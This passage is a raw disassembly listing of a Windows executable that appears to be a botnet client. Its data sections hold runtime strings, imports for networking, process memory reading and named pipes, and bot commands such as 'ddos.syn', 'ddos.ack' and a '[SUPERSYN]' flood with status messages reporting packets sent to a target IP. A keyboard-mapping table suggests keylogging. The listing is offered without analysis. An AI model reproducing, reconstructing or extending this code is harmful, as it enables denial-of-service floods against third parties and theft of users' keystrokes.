aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: _2:off_43BC2Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; _2:off_43C34Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 43C34Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_43C364	; DATA XREF: _1:00424DA8o _1:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: _1:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_43C364
		dd offset dword_424DB0+4
off_424DD8	dd offset off_43C384	; DATA XREF: _1:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: _1:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: _1:00424CB0o
		dd offset off_43C384
		dd offset dword_424DFC+4
; ---------------------------------------------------------------------------

loc_424E24:				; DATA XREF: _1:00424E3Co
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
		dd 3 dup(0)
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: _1:00424CDCo
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[esi+ecx*2+42h], cl

loc_424E6F:				; DATA XREF: _1:00424E88o
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E6F+1
dword_424E8C	dd 3 dup(0)		; DATA XREF: _1:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: _1:00424CFCo
		dd offset off_43C3C8
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: _1:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: _1:00424D04o
		dd offset off_43C34C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	_0:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	_0:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: _0:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	_0:loc_423122o
		dd offset off_43C34C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_43C364
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_43C384
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: _1:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	_0:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	_0:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	_0:loc_423158o
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: _1:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	_0:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: _1:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 25348h, 0FFFFFFFEh, 0
		dd 253B2h, 241D8h, 25350h, 0FFFFFFFEh, 0
		dd 253BAh, 241E0h, 25170h, 0FFFFFFFEh, 0
		dd 25C2Eh, 24000h, 5 dup(0)
		dd 2573Ah, 25C14h, 25C02h, 25BF0h, 25BE0h, 25BD0h, 25BC0h
		dd 25BA2h, 25B8Eh, 25B7Eh, 25B6Ch, 25B5Ah, 25B4Ch, 25B3Ch
		dd 25B2Ah, 25B10h, 25AF8h, 25ADEh, 25AC4h, 25AA8h, 25A9Ch
		dd 253C6h, 253D4h, 253E4h, 253FEh, 2541Ah, 25422h, 25438h
		dd 25448h, 2545Eh, 2546Ah, 25478h, 25484h, 25498h, 254A6h
		dd 254BCh, 254CCh, 254DCh, 254F2h, 25504h, 25516h, 25526h
		dd 25534h, 2554Ah, 25556h, 2556Eh, 25588h, 25598h, 255AAh
		dd 255BCh, 255D4h, 255ECh, 25614h, 2562Ch, 2563Ah, 25654h
		dd 25666h, 25676h, 25682h, 2568Eh, 256A0h, 256B2h, 256C6h
		dd 256D6h, 256E4h, 256F8h, 2570Ah, 2571Ah, 25728h, 2574Ah
		dd 25760h, 2576Eh, 2577Ch, 2578Eh, 257AAh, 257C0h, 257D0h
		dd 257E6h, 257F6h, 25808h, 2581Ch, 2582Ah, 2583Ah, 25850h
		dd 2585Eh, 25874h, 25888h, 25896h, 258ACh, 258B8h, 258C8h
		dd 258DAh, 258E6h, 258FAh, 25912h, 25924h, 25938h, 25952h
		dd 2596Eh, 2597Ah, 25994h, 259A4h, 259B2h, 259C4h, 259D6h
		dd 259E4h, 259FEh, 25A0Ch, 25A1Ah, 25A28h, 25A38h, 25A48h
		dd 25A5Ah, 25A66h, 25A76h, 25A86h, 25A92h, 0
		dd 2539Ch, 0
		dd 80000073h, 80000015h, 80000002h, 8000000Dh, 80000001h
		dd 80000016h, 80000034h, 8000000Bh, 80000074h, 80000010h
		dd 80000013h, 80000012h, 80000097h, 80000017h, 8000000Ah
		dd 80000004h, 80000003h, 80000009h, 0
		db    6
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 2
		db '',0
aExitthread	db 'ExitThread',0
		align 4
		db 0DFh	; 
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db 0A3h	; 
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceCounter',0
		dw 2A4h
aQueryperform_1	db 'QueryPerformanceFrequency',0
		dw 356h
aSleep_0	db 'Sleep',0
		dw 1C1h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		db  73h	; s
		db 1, 47h, 65h
aTlocaltime	db 'tLocalTime',0
		align 4
		db  75h	; u
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 2B5h
aReadfile_0	db 'ReadFile',0
		align 2
a4		db '4',0
aClosehandle_0	db 'CloseHandle',0
		db 0A4h	; 
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db  68h	; h
		db 3, 54h, 72h
aAnsactnamedpip	db 'ansactNamedPipe',0
aS_1		db 'S',0
aCreatefilea_0	db 'CreateFileA',0
		db 90h
		db 3
aWaitforsingl_0	db 'WaitForSingleObject',0
		db  71h	; q
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
aO		db 'O',0
aCreateeventa	db 'CreateEventA',0
		align 4
		db  7Dh	; }
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 1E0h
aGettimeformata	db 'GetTimeFormatA',0
		align 4
		db  47h	; G
		db 1, 47h, 65h
aTdateformata	db 'tDateFormatA',0
		align 2
aO_0		db 'o',0
aCreatethread_0	db 'CreateThread',0
		align 2
		dw 163h
aGetfilesize_0	db 'GetFileSize',0
		db  5Eh	; ^
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		db '',0
aFindclose_0	db 'FindClose',0
		db '',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
		db '',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db '',0
aFindnextfile_0	db 'FindNextFileA',0
		db '',0
aFindfirstfil_0	db 'FindFirstFileA',0
		align 2
		dw 31Bh
aSetfilepoint_0	db 'SetFilePointer',0
		align 4
		db  51h	; Q
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
aS_2		db '',0
aEntercritica_0	db 'EnterCriticalSection',0
		align 4
		db  24h	; $
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aB		db '',0
aDeletecritic_0	db 'DeleteCriticalSection',0
		dd 724600F8h, 694C6565h, 72617262h, 1590079h
aGetenvironme_0	db 'GetEnvironmentVariableW',0
		dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h
		dd 64616F4Ch, 7262694Ch, 41797261h, 2160000h, 70616548h
		dd 65657246h, 2100000h,	70616548h, 6F6C6C41h, 1A30063h
		dd 50746547h, 65636F72h, 65487373h, 7061h, 69560389h, 61757472h
		dd 6575516Ch, 78457972h, 2B80000h
aReadprocessmem	db 'ReadProcessMemory',0
		dw 1C5h
aGetsysteminfo	db 'GetSystemInfo',0
		dw 286h
aOpenprocess_0	db 'OpenProcess',0
		dd 6547017Fh, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4600F3h
		dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
		dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
		dd 6B63h, 6E550371h, 5670616Dh,	4F776569h, 6C694666h, 2680065h
		dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilema_1	db 'CreateFileMappingA',0
		align 10h
		dd 6553031Fh, 6C694674h, 6D695465h, 1650065h, 46746547h
		dd 54656C69h, 656D69h, 72430066h, 65746165h, 636F7250h
		dd 41737365h, 0BC0000h
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		dw 319h
aSetfileattribu	db 'SetFileAttributesA',0
		align 10h
		db 0D5h	; 
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 10h
		db  5Ah	; Z
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 291h
aPeeknamedpipe	db 'PeekNamedPipe',0
aU		db '',0
aDuplicatehandl	db 'DuplicateHandle',0
		db  42h	; B
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
aE		db 'e',0
aCreatepipe	db 'CreatePipe',0
		align 2
		dw 1E9h
aGetversionex_0	db 'GetVersionExA',0
		dw 204h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		db '',0
aExitprocess_0	db 'ExitProcess',0
		dw 394h
aWidechartomu_0	db 'WideCharToMultiByte',0
		dd 65470114h, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65440083h
		dd 6574656Ch, 656C6946h, 1430041h
aGetcurrentpr_1	db 'GetCurrentProcessId',0
aC		db 'C',0
aCopyfilea	db 'CopyFileA',0
		db '`',0
aCreatemutexa	db 'CreateMutexA',0
		align 4
		dd 6554035Fh, 6E696D72h, 54657461h, 61657268h, 26E0064h
		dd 65766F4Dh, 656C6946h, 35E0041h, 6D726554h, 74616E69h
		dd 6F725065h, 73736563h, 2EE0000h
aSetconsolectrl	db 'SetConsoleCtrlHandler',0
		dw 174h
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		db  78h	; x
		db 1, 47h, 65h
aTlogicaldrives	db 'tLogicalDrives',0
		align 4
		db  8Eh	; 
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 0FCh
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 2D7h
aRtlunwind	db 'RtlUnwind',0
		dw 1E2h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		db 0C8h	; 
		db 1, 47h, 65h
aTsystemtime	db 'tSystemTime',0
		db  1Ah
		db 2, 48h, 65h
aAprealloc	db 'apReAlloc',0
		dw 1B7h
aGetstartupinfo	db 'GetStartupInfoA',0
		db  10h
		db 1, 47h, 65h
aTcommandlinea	db 'tCommandLineA',0
		dw 1E8h
aGetversion	db 'GetVersion',0
		align 4
		db  58h	; X
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 214h
aHeapdestroy	db 'HeapDestroy',0
		db  12h
		db 2, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 383h
aVirtualfree_0	db 'VirtualFree',0
		db  81h	; 
		db 3, 56h, 69h
aRtualalloc	db 'rtualAlloc',0
		align 4
		db  36h	; 6
		db 2, 49h, 73h
aBadwriteptr	db 'BadWritePtr',0
		db 0A7h	; 
		db 2, 52h, 61h
aIseexception	db 'iseException',0
		align 2
		dw 21Ch
aHeapsize	db 'HeapSize',0
		align 2
		dw 244h
aLcmapstringa	db 'LCMapStringA',0
		align 2
		dw 245h
aLcmapstringw	db 'LCMapStringW',0
		align 2
		dw 104h
aGetcpinfo	db 'GetCPInfo',0
		dw 0FDh
aGetacp		db 'GetACP',0
		align 4
		db  93h	; 
		db 1, 47h, 65h
aToemcp		db 'tOEMCP',0
		align 4
		db  6Eh	; n
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
		db 0F6h	; 
		align 2
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dw 0F7h
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  55h	; U
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
		db  57h	; W
		db 1, 47h, 65h
aTenvironment_0	db 'tEnvironmentStringsW',0
		align 2
		dw 324h
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 654701B9h, 64745374h, 646E6148h, 656Ch, 65470166h, 6C694674h
		dd 70795465h, 1BA0065h,	53746547h, 6E697274h, 70795467h
		dd 4165h, 654701BDh, 72745374h,	54676E69h, 57657079h, 3370000h
		dd 53746553h, 61486474h, 656C646Eh, 0EE0000h, 73756C46h
		dd 6C694668h, 66754265h, 73726566h, 34A0000h
aSetunhandled_0	db 'SetUnhandledExceptionFilter',0
		db  33h	; 3
		db 2, 49h, 73h
aBadreadptr	db 'BadReadPtr',0
		align 10h
		db  30h	; 0
		db 2, 49h, 73h
aBadcodeptr	db 'BadCodePtr',0
		align 10h
		db  10h
		db 3, 53h, 65h
aTendoffile	db 'tEndOfFile',0
		align 10h
		db ':',0
aComparestringa	db 'CompareStringA',0
		align 2
		db ';',0
aComparestringw	db 'CompareStringW',0
		align 4
		db  13h
		db 3, 53h, 65h
aTenvironment_1	db 'tEnvironmentVariableA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		db    0
_1		ends

; Section 3. (virtual address 00026000)
; Virtual size			: 000656A0 ( 415392.)
; Section size in file		: 000656A0 ( 415392.)
; Offset to raw	data for section: 00026000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_2		segment	para public 'CODE' use32
		assume cs:_2
		;org 426000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_426000	dd 0			; DATA XREF: sub_419AB8+1Fo
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: sub_419AB8+1Ao
dword_426014	dd 0			; DATA XREF: sub_419AB8+10o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset sub_4208B4
dword_426028	dd 0			; DATA XREF: sub_419AB8:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset sub_4208C5
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB_0:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
